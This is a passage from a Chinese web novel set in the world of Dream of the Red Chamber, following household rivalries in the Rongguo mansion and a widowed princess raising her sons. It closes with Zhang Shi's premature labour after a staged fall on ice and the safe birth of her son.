,他们一家就已经捞到了以前十年都捞不到的银子。想着老太太的私房,吴兴登家的眼珠子都红了。 王氏没好气地看了她一眼:“这说的什么话!那是老太太的亲闺女,多惦记点,也是应当的!”她倒是还明白,哪怕是在自己人嘴里,也不能明面上说小姑子的坏话,谁知道会不会有人拿着这个去跟贾史氏乃至贾敏邀功呢? 吴兴登家的轻轻打了一下自己的嘴,说道:“是奴婢不会说话,奴婢只是想着,姑太太毕竟是外嫁女了……” 王氏沉吟一番,叹道:“姑太太也就是在家小住数日,回头自然要自个家去的!传下去,这些日子不可简慢了姑太太和姑爷他们!你们几个,跟姑太太之前的陪房也该认识的,这些日子,也可以一块叙旧,免得姑太太回来报喜不报忧,反倒是平白叫老太太跟着操心!” 吴新登家的顿时心领神会,当下便说道:“太太这番孝心,老太太要是知道了,还不定如何高兴呢!奴婢这就去打听,回头再来跟太太回话!” “去吧!”王氏挥了挥手,嘴巴又抿了起来,结果就听外头人扬声说道:“珠大爷来了!” 林如海贾敏夫妇回来,贾瑚都从王府回来了,贾珠自然也告了假。 之前林如海说是去休息,其实就是带着贾瑚和贾珠去了前头,考问了一下他们如今念书的程度,又稍微帮着讲解了几句。 季先生本就是学问大家,又做惯了西席的人物,讲课很有水准,相比较而言,贾珠遇上的那个老秀才,水平就很一般了,毕竟,真正有跟脚的读书人,是不会给贾家这样的勋贵人家做先生的,你有本事拿了家里的名额,去国子监读书,要不然的话,也只能在那些普通的秀才童生里头寻先生。 林如海却是家学渊源,又有名师教导,本身又是极为出众的人物,这会儿跟两个侄子随便讲几句,便是深入浅出,言之有物,贾瑚是习以为常,贾珠却是惊若天人,这会儿到了王氏这里,还有些小兴奋。 “太太,姑父刚刚给我讲了几段《论语》,可比先生强多了!”贾珠知道王氏不识字,因此,并不多说具体讲了什么,而是说林如海的气度和姿态,满脸都是崇拜之色。 王氏却是心中发酸,没了佛珠,就在那里揉着帕子,只将一张帕子揉得咸菜一般。王氏别的也就罢了,对孩子还是真心疼爱的,这会儿只得对贾珠说道:“你姑父当年可是一甲探花出身,听说要不是因为他年轻,生得也好,便是状元也当得的!你姑父以后就长在京城了,你读书的时候若是有什么不懂的地方,不如等到休沐日,去你姑父府上请教!” 贾珠兴奋地连连点头,再一想到之前贾瑚的从容自若,顿时又有些沮丧:“太太,我读书不如瑚大哥,姑父会不会看不上我!” “尽胡说,你这样的好孩子,你姑父怎么会看不上你!”王氏更恨了,脸上却是挤出一个笑来,安慰道,“瑚哥儿本来就比你大一点,他之前还跟着他舅舅学过一阵子的,所以,你就是起步晚了点,比他差一点也是正常的!他如今在 王府做伴读,人家小王爷,又不需要科举晋身,学的东西只怕多半跟科举没什么关系,再等几年,肯定是你更强一些!” 这些都是之前王氏跟娘家嫂子诉苦的时候,王子腾夫人劝她的话,这会儿她原封不动拿来劝慰贾珠,总算是将孩子给哄好了。 贾珠年纪不大,心气却很高,这会儿兴冲冲地说道:“回头儿子也跟姑父一样做探花,给太太挣凤冠霞帔!” 王氏听着儿子的童言童语,忍不住搂住了他,之前的戾气一时间也消散无踪,取而代之的是一种隐秘的得意,你们如今高兴又如何,我儿子说要给我挣凤冠霞帔呢! 怀着这样的得意,王氏之后去荣禧堂伺候贾史氏和贾敏用饭,都没有再满心不平,对贾敏也殷切了许多,毕竟,儿子想要上进,最好的渠道就是林如海这个姑父,她以前跟贾敏关系不好,若是回头贾敏从中作梗,岂不是坏了贾珠的前程! 偏生她是俏媚眼抛给了瞎子看,贾敏什么人,从小到大都被人捧在手心里。嫁了人之后,也没怎么伺候过婆婆,就跟着丈夫在神京过活,再回去的时候,婆婆都已经过世了!而且,王氏再怎么会伺候,还能比得上专门侍奉膳食的下人?因此,她是真没感受到王氏的热情,不过是吃上了合口的饭菜,比往常多用了半碗,便放下了筷子。 贾史氏一直慈爱地看着女儿用饭,瞧着女儿吃得香,更是喜笑颜开,喊着要赏厨子,嘴里还说道:“当初给你选陪房的时候,就该再选一户掌管灶房的,我虽说没去过姑苏,却也听说过,那里的人喜欢吃甜烂之物,我们这些老的也就罢了,牙齿不好,也口重。你们年纪轻轻的,吃惯了家里的饭菜,到了姑苏那边,想来也难得合口。” 贾敏笑道:“母亲还不周全啊,之前我们府里就叫王东家的单掌了个灶头,我要是想吃什么,跟她说一声,她也能做个八九不离十。”贾敏出门子足足带了八个陪房,这还不算陪嫁的丫头,王东一家便是其中之一。 贾史氏也是做过小媳妇的,贾家和史家都出身金陵,饮食习惯没什么差别,但是之前老荣国公夫人却是从小生活在京畿之地,因此荣国府的饮食在她的带动之下已经开始了金陵与神京的融合。贾源和贾代善父子两个横竖不在内宅吃饭,贾史氏那时候伺候老荣国公夫人,饮食上就颇有些不习惯。想着贾敏就算是有何用的厨子,在林家那边大概也只能做个一两样解解馋,贾史氏就愈发心疼起来:“你这丫头,就会哄我!罢了,老婆子也就不讨人嫌了,你跟女婿好好过日子,我也就能安心了!” 王氏在一边愤愤不平,王家说是出身金陵,实际上以前因为是海盗出身,口味其实更偏向闽浙一带,嫁到贾家之后,生孩子都没捞着小厨房,陪房就算是有会做饭的又怎么样,还不是得吃大厨房的菜,这么长时间下来,也就是偶尔娘家宴客的时候回去还能尝一下旧时口味之外,饮食习惯早就被带偏了! 可惜的是,在场母女两个人,都不是会在意王氏感受的,贾史氏叫王氏早点回去自个用饭,就觉得自己已经是个体贴婆婆了,贾敏一向看不上王氏目不识丁,更是只是说了句客气话,连送都没有送一下,就继续跟贾史氏说话。 王氏走出去没多久,就听到隐约的声音传来:“母亲,我之前跟大嫂子说好了要去看望她,这会儿大嫂子那边也该用过饭了,我这就准备过去……” 王氏只听得胸闷气短,头晕目眩,整个人摇晃了几下,好在彩锦就在一侧,赶紧将她扶住,王氏深吸了一口气,稳定了一下身形,这才说道:“走吧,先回去!”! 第 33 章 贾瑚没有在家多住,第三天就回来了。 “瑚哥儿你怎么不高兴,难道你姑母欺负你了?我母妃不是说你姑母和你母亲关系很好吗?”徒嘉钰一看贾瑚脸色不好,顿时就同仇敌忾起来。 贾瑚赶紧说道:“没有,姑母挺好的,她听说我读书了,还将姑父当年用过的书本注释给了我一份呢!” “那你怎么不高兴?”徒嘉钰纳闷地问道。 贾瑚垂着头,说道:“是有人跟我说,母亲如今光顾着肚子里的小弟弟,不管我了,才把我送到王府来读书!” 徒嘉钰气得一巴掌拍在桌子上,手心读拍红了,忍不住“嘶”了一声,不过还是说道:“什么人啊,这么胡说八道!瑚哥儿,你可别相信这些,他们就是见不得你好!” 说着,他煞有其事地说道:“母妃怀着我弟弟的时候,也有人偷偷跟我说这些,尤其是前段时间,我父王不在了,就有人跟我说母妃只知道照顾弟弟,不理我了!实际上呢,母妃还是心疼我!弟弟不过就是年纪小,不懂事,现在还不会说话走路,所以,母妃才需要多看顾一点。我才是府里的长子,还得帮着母妃教导弟弟呢!你也是一样的!” 贾瑚点了点头,又摇了摇头,说道:“我不是相信这个,而是有人跟我说这个,我怕有人想要害我母亲!”之前周嬷嬷就跟他说了张氏那段时间的遭遇,其实是想要让贾瑚自个小心一些,不要跟着不熟悉的下人去别处,结果贾瑚觉得自己如今待在王府不会有什么危险,反倒是母亲留在荣国府,着实算不上安全。 “可惜我现在太小了,等我长大了,我就接我母亲出来住!”贾瑚信誓旦旦地说道。 徒嘉钰也没多想,说道:“那好啊,到时候就在我们府附近弄个宅子,串门方便!” 贾瑚用力点了点头,开始盘算自己还有几年才能算是长大,却根本没想过,他亲爹还在呢,又是府里的袭爵人,张氏怎么可能将来跟着他搬出来住。 徒嘉钰也不明白这里的道理,他觉得自己是小王爷,自家亲妈就是跟着自己住的,所以,以后贾瑚的母亲跟着贾瑚,那也没毛病。 等到在正院那边用了饭,两人跟顾晓说起这话,只将一群人都逗乐了。顾晓也没有打破他的希望,只是笑道:“那你以后可要好生用功了,你父亲是一等将军,你以后想要带着你母亲另立门户,怎么着都得有个差不多的爵位或官职才行!”她没有说的是,这样的前提,其实是贾赦不在了,贾瑚在外做官,就可以以奉养生母的名义带上张氏一起赴任。不过,就贾赦那等于国于家无用,反倒是各种祸害他人的货色,早死才是积德! 贾瑚并不知道这其中的难度,很是郑重其事地点了点头,然后又说起了林如海。 吴嬷嬷在一边笑道:“林家跟隆安侯府,勉强也算是老亲呢!” 顾晓一愣,笑着问道:“我却是不曾听说,嬷嬷是家里的老人了,不妨跟我讲讲?” 作为家生子,吴嬷嬷对于顾家的许 多亲戚知道的比顾晓这个小一辈的多多了,这会儿便耐心解释道:“林家祖上在前朝与娘娘家祖上同朝为官,后来两家也有过联姻,不过联姻的只是两家的旁支,所以娘娘不知道。后来改朝换代,顾家与林家都算是文官出身的勋贵,走得也略近一些,只是后来不知道什么缘故,两家就没了多少往来,娘娘若是想要知道就里,不如问问夫人!” 顾晓点了点头:“倒是真要问一问,要不然日后见着林夫人,说起往日渊源,我却半点也不知晓,那就太失礼了!” 吴嬷嬷也是含笑不语,贾敏才嫁到林家几年,只怕许多事情,连林如海都不清楚呢!之前林家老夫人在姑苏去世,丧信都没有送到隆安侯府,可见林如海这边也不清楚两家曾经的渊源。 吴嬷嬷说得语焉不详,徒嘉钰顿时就觉得有些没劲,贾瑚倒是想着什么时候回去问一下母亲,或许母亲会知道一些。 顾晓也就是随口一问,她当年见到的贾敏还是个小女孩,若是想要见识一下绛珠仙子,起码也得有个七八年,不过,贾敏真的成婚十年都不曾生育吗? 顾晓心里略算了算时间,都有些替贾敏觉得焦虑了。这年头的大家主母一方面怕生孩子,生育的风险实在是太大,所以,为了避免连续产育带来的风险,大多数嫡妻都不会在意让丈夫去找小妾,横竖讲规矩一些的人家,都不会叫小妾爬到嫡妻头上去。到了民国时期,谭延闿都已经是一省督军了,为了让生母的灵柩能够从祠堂正门抬出去,还得自个躺到棺材盖子上耍无赖。而在正常情况下,庶出就算是出了头,只要嫡母不让位,生母也还是得老老实实给正室打帘捧饭。 但是相应的,又不能没有孩子!放到21世纪还有吃绝户的呢,这年头只有更严重的。而在不能确定自己生不了的情况下,谁会愿意搞出个庶长子出来呢!按照此时的律法,嫡庶子男,除官荫袭先尽嫡长子孙,其分析家财田产,不问妻妾婢生,止以子数均分,甚至,外头被承认的私生子都能捞到一部分。在这样的情况下,嫡妻除非想要丈夫死后仰人鼻息,就得想办法拼个嫡子出来。 想到这里,顾晓愈发庆幸,徒宏远已经狗带了,要不然,以他那等性子,王府还不定要多出多少庶子庶女出来呢,到时候,徒嘉钰还好,末儿就吃亏了。 怀着这样隐秘的庆幸,顾晓宣布晚上加餐,徒嘉钰和贾瑚都可以自己点菜。 徒嘉钰眼睛一亮,当下就说道:“那我要一盘炸鹌鹑!”小孩子多半喜欢这种油炸食物,不过,顾晓琢磨着油炸食物对身体不好,因此,并不叫徒嘉钰经常吃,十天半个月才会有一次。贾瑚原本在王府还有些拘谨,但是这些日子以来跟徒嘉钰玩得好,顾晓对他也跟对自家孩子一样,毕竟,这又不是后世,家里就那么点地方,生活压力又很大,再长期养个亲戚家的熊孩子,大多数人都没法心平气和。现在的顾晓,这么大一个王府,好几个院子都只能暂时封存,只叫人隔一段时间去洒扫一下,还有一群人围着伺候,又不缺钱,家里多个孩子,只觉得更热闹一些。 贾瑚如今在王府也过得比较自在,便也不推脱,跟着点了一个樱桃肉,虽说大冬天的没有新鲜樱桃,但是之前做好的蜜汁樱桃还是有一些的。 顾晓听到两人点的菜,不由一笑,当下也点了个清炖鸭子,又叫再添几样清淡的洞子菜,立马就有人去厨房传话,叫她们赶紧准备起来。 顾晓算算时间,笑道:“过几日便是冬至了,九九消寒图也该准备起来,你们两个跟着先生也该学了几笔,不如今年就用你们两个画的?” 徒嘉钰满口答应下来,忙不迭地就叫人去铺纸磨墨,又跟贾瑚商议着要画成什么模样,看到已经能够扶着栏杆站起来的末儿,更是笑道:“我给末儿也画一副,叫末儿每天用手指在上面点一笔便是!” 末儿听到自己的名字,便转头看向徒嘉钰,然后干脆就往地上一趴,顺着地毯就往徒嘉钰脚边爬了过来。 徒嘉钰有些吃力地抱住末儿,笑嘻嘻问道:“末儿,你也想要来画吗?” 顾晓便笑着吩咐道:“去我匣子里头把那些香粉拿出来,如今也不用,不如给他们几个小的拿着玩!” 原身嫁到王府,虽说心情很多时候都有些抑郁,但是一应供给都是好的。像是用的粉,便不是铅粉和米粉,而是珠粉、桃花粉、玉簪粉,再不济也得是檀粉。 春香便从妆台下面的柜子里取出一个金丝螺钿三层妆盒出来,开了上头的暗扣,将里面的胭脂水粉乃至螺子黛都拿了出来,零零总总装了十几个盒子,几个丫头一起上前,才将这些盒子摆到桌案上。 徒嘉钰和贾瑚之前都只见过自家亲妈摆弄过这些玩意,自己却是没上过手的,这会儿也都好奇地凑了过来。 春红先开了一个绘着桃枝的白瓷盒子,然后就叹道:“真是可惜了,几个月不用,这些胭脂膏子都已经干掉了!” 顾晓探头看了一眼,笑道:“这有什么,取了花露过来,再调一调便是!横竖是给他们几个拿来玩的,就不用太挑剔了!” 春燕开了好几个胭脂盒子,里头或红或粉,都已经有些干涸,却还残存着一些甜香。春雨这会儿也拿了一瓷瓶花露过来,打开瓶塞,将花露滴入盒子中,又拿了一根玉簪慢慢调匀。 顾晓也来了兴致,便用手指沾了一点,点在纸上,便落下一点嫣红,看着真如花瓣一般。 末儿顿时兴奋起来,小手几乎直接塞进了盒子里,沾得满手都是,然后一巴掌拍在纸上,顿时印出一个有些残缺的手印来,看到手印,末儿高兴地“嘎嘎”笑了起来,简直跟个小鸭子一般,众人也跟着笑了起来。 这一笑更是不得了,九九消寒图也别画了,末儿一屁股坐到了桌案上,两只手都沾满了胭脂,将纸上,桌上,乃至自己的衣服上脸上抹得到处都是,逗得众人笑个不停。 玩闹了好一阵子,末儿才觉得累了,奶娘这才抱他下去洗脸洗手换衣服,再吃一顿辅食,哄他小睡片刻。 几个丫头重新收拾了桌案,徒嘉钰和贾瑚也各自画了两幅《九九 消寒图》,几个丫头拿了放到一边去晾干,回头还得送出去请人尽快装裱。徒嘉钰画的两幅一幅给顾晓,一幅给末儿,贾瑚画的一幅留在这边屋里,一幅准备托周嬷嬷送回去给张氏。 顾晓一时手痒,她上辈子家里重男轻女,没学过什么才艺,但原身在家的时候却是受过良好教育的,琴棋书画虽说算不得精通,却也都通晓一二,这会儿便干脆用螺子黛当笔,描出一幅九枝素梅来,每一支上各画了大大小小九朵梅花,之后只需要按照天气往梅花上涂色便可。 顾晓的水准自然是比徒嘉钰强多了,徒嘉钰一看就喜欢上了,当下便要讨了过去,说是等装裱好了挂到前院自个屋里去用。 顾晓自然不会反对,一口答应了下来,又笑道:“既然你拿走了,那可得好好画,等到了春分,我可是要看的!” 徒嘉钰拍拍小胸脯,信心十足:我肯定会画得很好看!??[” 贾瑚看着顾晓与徒嘉钰的互动,有些羡慕。 张氏出身大家,性情内敛矜持,即便心中疼爱长子,也不会表现得太过亲近,像是顾晓与徒嘉钰这般自然的亲密姿态,显然是不会有的。 顾晓也没注意到贾瑚心中那点小念头,见两个孩子不想再画了,干脆将还能用的脂粉都分了下去:“这些你们拿去吧,自己不用,送人也行,比外头卖的可强得多!”她如今也不好出门,就算是见客,也得顾忌一下是孝期,免得叫人抓住了把柄,因此,这两年便只用各种护肤品,这些胭脂水粉放着也是白放着,不如分出去算了,等回头除了服,自然有好的使。 一帮丫鬟欢天喜地地应了下来,她们都还是年轻的女孩子,哪有不爱俏的,当下围在一起,叽叽喳喳地将东西分了,又谢顾晓的赏。 顾晓笑道:“这些你们私底下用用便是,莫要叫外人见到!” “娘娘多虑了,奴婢这些人又不是什么不晓事的人,有了好东西藏起来还不够,哪能露在外头呢!”春红笑道,别说是露到外头了,便是出了正院,她们也是不会松口的,毕竟,有个不省事的侧太妃在那里,谁知道这位会不会来一招杀敌八百自损一千呢? 事实上,李氏如今已经消停多了。很多人之所以学不乖,无非就是没真正跌过跟头。 李氏前头二十几年,那真的是顺风顺水。出生在地方上的地主人家,家里也算是小有资财,因为家里有个皇子外甥,地方上的官员乡绅也都很给面子,就算是物质生活比不得入了王府之后,但是精神生活其实很丰富,毕竟,身边丫头都是佃户家的女儿,哪里敢不奉承讨好她呢? 等到大一些之后,就得知,宫里头姑妈已经允诺了,将她嫁给做王爷的表哥。然后,徒宏远就给这个当时还没见过面的表妹准备了丫鬟嬷嬷,连衣裳首饰零花钱都包了,可以说,一瞬间从人间飞到了天堂。之后数年,她在府里名为侧妃,其实除了不能出去交际之外,几乎就是半个女主人一样,都要以为一切都是理所当然的事情。 只是由俭入奢易,由奢入俭难,徒宏远没 了,原本的特殊待遇随之消失的时候,她就开始受不了了。结果得罪了顾晓之后,看似应有的待遇没有打折扣,实际上,这深宅大院,想要让人难受,那真是再简单不过。 李氏如今算是清醒过来,纵然心中也有怨愤,但是,用她身边伺候的人私底下劝她的话来说,这平王府里,又不是没有别的姬妾孩子,她一个侧太妃,乃至徒嘉泽一个庶出的皇孙,就算是悄无声息没了,又如何呢?外头都知道,徒嘉泽从小身体不好,夭折了也是理所当然的事情,而若是没了儿子,她跟着忧思过甚,跟着去了,也是说得过去的。所以,再作妖,那就不是如今这样饮食起居不顺心了,而是能不能活下去的问题。横竖宗室子弟成年就可以封爵,她再熬过十几年,就能跟着徒嘉泽一起分府出去,何必非要头铁,跟太妃过不去呢? 李氏之前无非就是被徒宏远养得浅薄无知,并非真的是蠢货,回过味来之后,反倒是后怕起来。别的不说,徒宏远刚死那会儿,若是顾晓是个心狠手辣的,一根白绫勒死她,说她为王爷殉情了,难道还有人会追究不成? 李氏如今消停下来,顾晓也是舒心了许多。想要吃后宅妻妾相争的瓜,自然是别人家的瓜更好吃,自家若是成了这个瓜,那可就不美妙了!顾晓可不想成为外头人的谈资。 既然李氏识相,顾晓虽说依旧叫人盯着西院那边的动静,却也叫下头送了松手,不要刻意为难,别的不说,不能将人逼急了不是! 徒嘉泽如今依旧是五日一次平安脉,食补几个月下来,成效还是有的,入冬之后,徒嘉泽身体虽说因为缺乏锻炼,体质依旧虚弱,却也不曾真的生过病。 知道的人私底下都说顾晓仁厚,毕竟,以徒嘉泽生下来之后请医问药的频率,便是徒宏远乃至李氏,都做好了这个孩子会夭折的准备。当初徒宏远和李氏对这孩子也算是尽心,一点小病都要请太医,很多时候吃药都比吃饭多,偏生一直没个起色。而等到顾晓当家了,直接就找太医给孩子按期请平安脉,调整饮食来食补,如今看起来虽说还是体弱,但是早夭之象已经渐渐淡了去。换做是其他人家,又不是自己没儿子,要指着庶子传家立业,徒嘉泽这样的,只需要继续让李氏自个管着,就李氏那点见识和手段,孩子养死了也怪不到顾晓头上。 顾晓也是存心的,有道是人言可畏。现在府里头又没个成年的男人,徒宏远当年也没留下什么门人势力。就算是生在宗室,不用担心有人吃绝户,但是回头徒嘉钰要摘掉嗣王的身份,正式继承平王这个爵位,名声好总比名声不好来得更顺利一些。要不然,上头拖一拖,宗人府那边再拖一拖,别的不说,多拖个一年半载的,光是俸禄就要损失掉大几千两。何况,圣上如今觉得儿子死得冤枉,等十几年过去之后,即便在位的还是圣上,也未必还有如今这番慈心了。 顾晓记得自己看红楼的时候,有人对照当时的历史,说那时候朝廷财政出了问题,叫妃嫔省亲修建省亲别墅,也是想要掏空那些权贵。历来朝廷没钱,开源都是很难的,最喜欢的就是节流。而 节流呢,最不容易惹出大乱子的其实就是削宗室,若是遇到这种情况,有个好名声无疑就是个护身符。 这般一想,顾晓又有些发愁,这已经入了腊月,给圣上的年礼也该准备起来了。王府里面每年开支的大头就是“三节两寿”,因为这些年宫里也没有太后皇后,所以便是端午、中秋、新年还有圣上的万寿。 之前端午还在热孝,中秋的时候朝堂上还在杀人,宫里传话说圣体违和,中秋宴就不大办,中秋的礼也就是走了个过场。但是,年礼却是不能再简慢了! 顾晓跟圣上这个公公不熟,对他的性情也不算了解。但是做皇帝的人,便是李世民,魏征一死,也要推了他的墓碑泄愤,可见就没哪个是真的宽宏大量的。你可以因为家里在守孝,不给其他人家送年礼,但是不给圣上送,那就不行。圣上可能不记得谁送了什么,但是肯定记得谁没送或者说谁送的不好! 徒宏远就是个小透明,历来送礼也都是随大流,从不冒头。顾晓自然不会标新立异,干脆拿了往年的礼单,又叫人将库房的单子副册拿出来勾选,横竖就选各种寓意吉祥的东西,这样的绝不会出错。 瞧着顾晓在单子上勾了一对龙泉窑福寿如意细颈瓶,吴嬷嬷就忍不住念叨起来:“娘娘,这可是你出嫁的时候,太太特特放进去的,还是前朝的官窑呢!” 顾晓笑道:“咱们府里的福寿,还不得看圣上,所以,这对瓶子拿来孝敬圣上,才是正理!” 琢磨了一下,顾晓又说道:“我瞧了瞧咱们府里的产业,却没个窑口,回头找了人去那边买个窑口,咱们也可以自个开窑烧些器物,免得看内务府那边的脸色!”原谅她是个没什么见识的,拿后世那些放进博物馆参观的精美瓷器作为日常用具,委实有些心理压力,与其如此,还不如自个开窑,烧一些素瓷或是釉下彩用着,免得重金属中毒。 吴嬷嬷笑道:“这我却是不懂了,娘娘回头请了长史问问便是!” 顾晓点了点头,叫人先将这事记了下来,有了个主打的福寿如意瓶,其他的便可以直接选金银器,因此,干脆就从金银器皿单子上勾选起来,再算一算如今平王府在宗室里头的排行,先凑出了六样,这些算是徒嘉钰这个嗣平王的年礼,自己作为儿媳妇,也得另外准备。 正琢磨着的时候,忽然有人进来传话,说是荣国府又来接贾瑚。! 第 34 章 “才过来没几天,怎么又来接,可是出了什么事?”顾晓一听就觉得有些不好,忙问道。 回话的人说道:“奴婢问了荣国府的人,说是张夫人不小心摔了一跤,早产了,似乎有些不好!” 顾晓吓了一跳,张氏这一胎已经八个多月,这等紧要的时候,一个弄不好,就是一尸两命的下场,荣国府找贾瑚回去,只怕是为了防止贾瑚见不到生母最后一面。 顾晓皱了皱眉,说道:“先准备车马送瑚哥儿,找几个人跟着去。再拿了我们府里的帖子,骑马去太医院请个擅长产科的太医,直接将人请到荣国府那边!” 贾瑚这时候已经慌了神,来不及跟顾晓道别,就跟着周嬷嬷上了马车,周嬷嬷坐在车上,一个劲地念佛:“阿弥陀佛,菩萨保佑,只要我家姑娘平安无事,信女愿意一生茹素礼佛!” 贾瑚这个年纪,却已经懂得了生离死别,之前才送走了疼爱他的祖父,如今母亲似乎又有些不好,贾瑚这会儿心慌意乱,忍不住哭出声来。 周嬷嬷这才发现贾瑚的不对劲,知道自己把他给吓着了,连忙搂住贾瑚,安抚道:“瑚哥儿乖,太太吉人自有天相,一定会没事的,等瑚哥儿回去,一会儿就能见到太太和弟弟了!” 贾瑚哭着说道:“不要弟弟,我就要太太!”在他心里,正是因为有了这个弟弟,自家母亲才遭遇了这样的危险。 周嬷嬷跟贾瑚也说不明白,只得继续安慰道:“不怕不怕,都会没事的!” 而此时的荣国府,却是近似于一片风声鹤唳。 贾敏简直是气急败坏,因为张氏摔这么一下,跟她也有些关系。她之前看到府里头花园里梅花开了,便叫人折了几支梅花,插到梅瓶里,送去给张氏。 在张氏那边说笑了一会儿,贾敏便打算回贾史氏那边,张氏便要亲自送人出去,贾敏推脱不过,便和张氏一起出去,哪知道,院门口台阶那边竟是结了一层薄薄的冰,张氏如今本就已经有些行动不便,也看不太清地面,一个没留神,便滑了一跤,要不是身边丫头及时垫着,直接就要摔到台阶上,饶是如此,她也动了胎气,出现了早产的征兆。 贾敏何等细心的人,这两天又没有雨雪,她来的时候,门口台阶上尚且没有半点水迹,更别说是结冰了,结果她就是在张氏院里待了一炷香时间,门口就结冰了?这话说出去,岂不是骗傻子? 贾敏第一时间就疑心上了王氏,正想要将经手此事的下人揪出来,结果贾史氏却想要大事化小小事化了,贾敏顿时就急了:“母亲,大嫂子如今生死未卜,这等害主的下人还留着作甚?” 贾史氏这会儿也有些头疼,心中暗骂王氏,就算是做手脚,也得找准了时机不是,为什么偏偏在贾敏在的时候搞鬼。贾史氏还是很在乎自己在女儿眼中的形象的,如今偏偏弄得她骑虎难下。 王氏才不会这样想呢,她就是想要一石二鸟,就算干不掉张氏,也得离间她和贾敏之间的关系。或者说,她其实之前没 想那么多,主要是如果不是贾敏,张氏等闲根本不出院门,散步也就是在自己院子里略微走几步,甚至只是沿着门廊走,连院子都不去。她这般小心谨慎,王氏根本找不到机会。 这次贾敏去了大房院里,王氏就吩咐人下手,就算是害不了张氏,让贾敏摔个跟头,王氏也觉得值当。结果居然取得了意外的结果,张氏居然跟贾敏一块出来了,比起年轻体健的贾敏,张氏如今身子笨重,根本反应不过来,脚下一打滑,人就站不稳了。 这会儿,王氏还在自个屋里偷笑,她笃定了,贾史氏不可能将这事闹大,一方面,她有两个孩子,看在孩子的份上,贾史氏也得保住她这个儿媳;另一方面,就是贾史氏需要大房二房不合,真要是将事情闹大了,二房被压制下去,那贾史氏凭什么能继续抬举贾政掌管荣国府的庶务呢? 贾敏也不是傻瓜,看着贾史氏的态度,就意识到,贾史氏心中另有打算,顿时是又气又愧,要不是她心血来潮走了这么一趟,如何会害得大嫂子遭了这般算计,若是大嫂子和腹中的小侄儿有个三长两短,自己这辈子也不会心安。 贾史氏这会儿也不希望张氏真的出事,忙不迭叫人从自己的库存里取了老参送过来,叫人切了给张氏含着,免得到时候泄了气,那就真的不好了。 两个早就请来的稳婆这会儿也有些麻爪,这年头又没有剖腹产,也没有产钳,张氏本来没到生产的时候,肚子里的孩子还没真正入盆,更别说胎位正确了,她们能做的只能是满头大汗地给张氏按摩肚子,企图调整好胎位,以免因为胎位不正造成难产。 好在荣国府距离皇城不算很远,又是骑马来回,贾瑚他们还没进门,顾晓那边请的太医也到了。 太医的见识可比这些稳婆多多了,宫里头常有因为各种缘故早产的,他类似的医案都看过不少,这会儿也顾不得什么男女大防,进了产房给张氏把了脉,又取了银针在张氏身上扎了几下,张氏顿时清醒了一些,咬牙问道:“太医,我这一胎如何?” 太医也不敢说满,只是说道:“虽说有些风险,但是越是如此,夫人越是不能泄了心气!下官先给夫人开一剂催产汤,夫人赶紧喝了,最好再吃些东西,养一养力气。” 张氏咬了咬牙,吩咐下人用茶炉先下一碗鸡汤面端过来,又强忍着宫缩,先叫人拿了枣泥山药糕就着银耳莲子汤吃了两块,这会儿鸡汤面也得了,张氏强撑着又吃了大半碗,只觉再也吃不下了,这才又躺下,默默积蓄体力。 就在这时,赵嬷嬷领着贾瑚还有几个平王府的仆役回来了。 贾瑚哭着就想要跑去产房看张氏,贾史氏连忙拦住,说道:“瑚儿快别去添乱了,别叫你太太再为你操心!” 贾瑚抹了抹眼泪,抽抽搭搭地看着贾史氏:“老太太,母亲不会有事的,对不对?” 贾史氏只得说道:“当然不会,太医都已经来了,还能有什么事?” 贾敏拿着帕子过来,也不嫌弃贾瑚这会儿满脸鼻涕眼泪,耐心地帮他擦干净,又叫 人拿了温水过来,给他洗脸,温言安慰道:“瑚哥儿别怕,我们都在这里,你母亲不会有事的,你还这么小,她怎么放心的下!” 贾敏的温柔让贾瑚渐渐安下心来,他似乎有了依靠一般,死死拉住贾敏的斗篷,眼睛一眨不眨地看着产房的方向,只恨自己没有千里眼,看不到张氏的情况。 贾史氏这会儿其实已经有些累了,她年纪不小了,又是个喜静不喜动的性子,饮食上头也没什么忌讳,自然不如年轻人扛得住,不过,这次的事情她既然一力主张压下去,就不能在这个时候叫人说嘴,只得强忍着疲倦,坐在那里等着,心里盘算着,若是张氏真的出了什么事,贾赦回来该如何安抚他! 贾赦是个有些贪花好色地性子,跟张氏固然有些感情,但是在贾史氏看来,男人嘛,都是喜新厌旧的,到时候给他几个颜色好的,还怕他揪着张氏的事情不放? 甚至,张氏是个精明人,若是叫张氏拢住了贾赦,贾赦难免要对自己这个母亲生出不满来,贾史氏琢磨着,不管张氏有事还是没事,回头都得给贾赦安排上。给了贾赦,贾政那边也不能少了,王氏这个糊涂蛋,竟是想要仗着自己的心意拿捏自己,也不能叫她好过了。 贾史氏年纪大了之后,就喜欢年轻鲜亮又灵巧的女孩子伺候,因此,她身边的大丫头都长得不错,各有各的优点,贾史氏开始盘算到时候将谁给贾赦,谁给贾政,也算是一碗水端平。 贾敏可不知道自己亲妈这时候还在想着如何用身边的丫头笼络两个儿子,原本这时候该是用饭的点了,但是她半点也没觉得饥饿,只是坐在那里,搂着同样心焦的贾瑚,等待产房那边的消息。 他们想不到,下面伺候的人却不能让他们饿着,荣禧堂那边的下人很快就将贾史氏的菜送到了这里,贾史氏这会儿也没什么胃口,只带着贾敏和贾瑚胡乱吃了两口,便叫下头的人将这些菜给分了,自个端了杯老君眉,慢慢喝着,算是消磨时间。 张氏那边已经喝下了催产药,又有太医再次给她用针,开了宫口,加上两个稳婆经验也非常丰富,顺利调整了胎位,如今就是按部就班地用力,等待瓜熟蒂落的那一刻。 张氏已经是生过一胎的人了,自然也知道好歹,这会儿按照稳婆的话,开始用力,好在腹中胎儿也不算大,生产起来竟是没那么费劲,不到两个时辰,孩子竟是顺利生下来了,稳婆熟练地一拍屁股,孩子就哭出声来,哪怕声音并不洪亮,但是终究活下来了! 在场的人都松了口气,稳婆拿了棉布将孩子身上的脏污擦了一遍,抱到张氏面前,笑道:“是个小公子呢!” 张氏这会儿已经是精疲力尽,她强打精神,看着这个从怀上到现在都没怎么安生过的孩子,心中顿时生出了许多愧疚。这孩子早产,看起来细胳膊细腿,头上也没有胎发,手脚指甲都没有长全,哭起来也就比小猫强一些,比起当年的贾瑚更是小了一大圈。 这会儿外头也知道张氏顺利生下了一个男婴,而且母子平安。贾史氏回过神来,先是一愣,继 而笑了起来:“好,咱们家又多了一口人,这是子孙繁茂的好事啊,赖大家的,吩咐下去,就说大房这边伺候的下人每个人赏两个月月钱,府里其他下人赏一个月月钱!” 赖大家的赶紧答应了下来,贾敏咬了咬牙,大嫂子平安生下了孩子,那害她的人,难道还要跟着领赏不成?不过当着贾瑚的面,她也不能直说,只是说道:母亲,您可别忘了最大的功臣还在屋里呢!?_[(” 